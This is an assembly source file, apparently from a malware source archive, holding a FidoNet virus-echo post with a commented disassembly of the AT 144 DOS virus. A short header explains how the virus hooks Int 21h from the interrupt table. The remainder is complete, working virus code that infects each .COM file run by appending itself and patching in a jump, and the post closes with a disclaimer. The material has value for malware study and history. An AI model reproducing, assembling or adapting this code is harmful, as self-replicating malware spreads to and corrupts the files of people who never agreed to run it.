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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir17.asm

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2021-01-13 00:04:54 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 7 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : AT_144.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:24)
;* To : Mike Salvino
;* Subj : AT_144.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org
;This is a disassembly of the AT 144 virus. It is processor specific
;and will only run on AT-class machines (286+). It copies itself
;onto the interrupt table and hooks int 21h, function 4bh. Because
;it is on the interrupt table - to call Int 21h in its infection routine
;it merely calls an INT corresponding to where it stores its
;old handler vectors. In this case - it is Int B4h. One interesting thing
;is the JMP SI instruction at the end to return to the host - this
;works because DOS initially sets SI to 100 for running COM files.
;This virus infects any .COM file executed.
;Please - Do NOT release this or any other virus.
;For educational purposes ONLY! I take no responsibility for damages caused
;by the misuse of this or any other disassembly - they are made to help
;educate programmers as to the workings of the individual viruses and
;viruses as a whole. Such information MUST remain free and uncensored.
;Disassembly by Black Wolf
.model tiny
.286
.code
org 100h
start:
db 0e9h,02,0 ;Jump Virus_Entry
Host_File:
int 21h ;Terminate.
Virus_Entry:
pusha
mov di,si
call Get_Displacement
Get_Displacement:
pop si
add si,31h ;SI = storage bytes
movsb
movsw ;Restore host in memory.
mov ax,24h ;Set ES:DI to interrupt table
mov es,ax ;DS:SI to beginning of virus
xor di,di
sub si,3Ah
cmp byte ptr es:[di],60h ;Check if installed.
mov cl,90h
rep movsb ;Copy virus into memory
jz Done_Install
mov ds,cx
mov si,84h ;Get Int 21 vector.
movsw
movsw
mov word ptr [si-4],3Ah ;Hook Int 21
mov [si-2],ax
push cs
pop ds
Done_Install:
push cs
pop es
popa
jmp si ;Jumps back to host....
;DOS sets SI = 100h when
;a COM is loaded.
Jump_Byte db 0e9h
Storage_Bytes:
mov ax,4c00h
Int_21_Handler:
pusha ;Save all Regs.
push ds
xor ah,4Bh ;Check if execute
jnz Exit_Handler
mov ax,3D02h
int 0B4h ;Open the file for read/write
jc Exit_Handler
mov bx,ax
push cs
pop ds
mov ah,3Fh
mov cx,3
mov dx,37h
mov si,dx
int 0B4h ;Read in 3 bytes for storage.
cmp byte ptr [si],4Dh
je Close_File ;Check if it's an EXE
mov ax,4202h
xor cx,cx
xor dx,dx
int 0B4h ;Go to end of file
sub al,3 ;save jump size.
mov bp,ax
mov cl,90h ;If the 2nd and 3rd bytes of
sub ax,cx ;the file correspond to what
cmp ax,[si+1] ;a jump WOULD be if the virus
;were already there, exit.
je Close_File ;(Quit if infected)
mov ah,40h ;Append Virus
int 0B4h
mov ax,4200h
xor cx,cx
int 0B4h ;Go back to the beginning
mov ah,40h
lea dx,[si-1]
mov cl,3
mov [si],bp
int 0B4h ;Write in the jump.
Close_File:
mov ah,3Eh
int 0B4h ;Close file.
Exit_Handler:
pop ds
popa ;Exit Handler
db 0EAh ;Far Jump to old Int 21h.
end_virus:
end start
;-+- Concord/QWK O.O1 Beta-7
; + Origin: NETTIS Public Acces Internet (603)432-2517 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/x Include false conditionals in listing
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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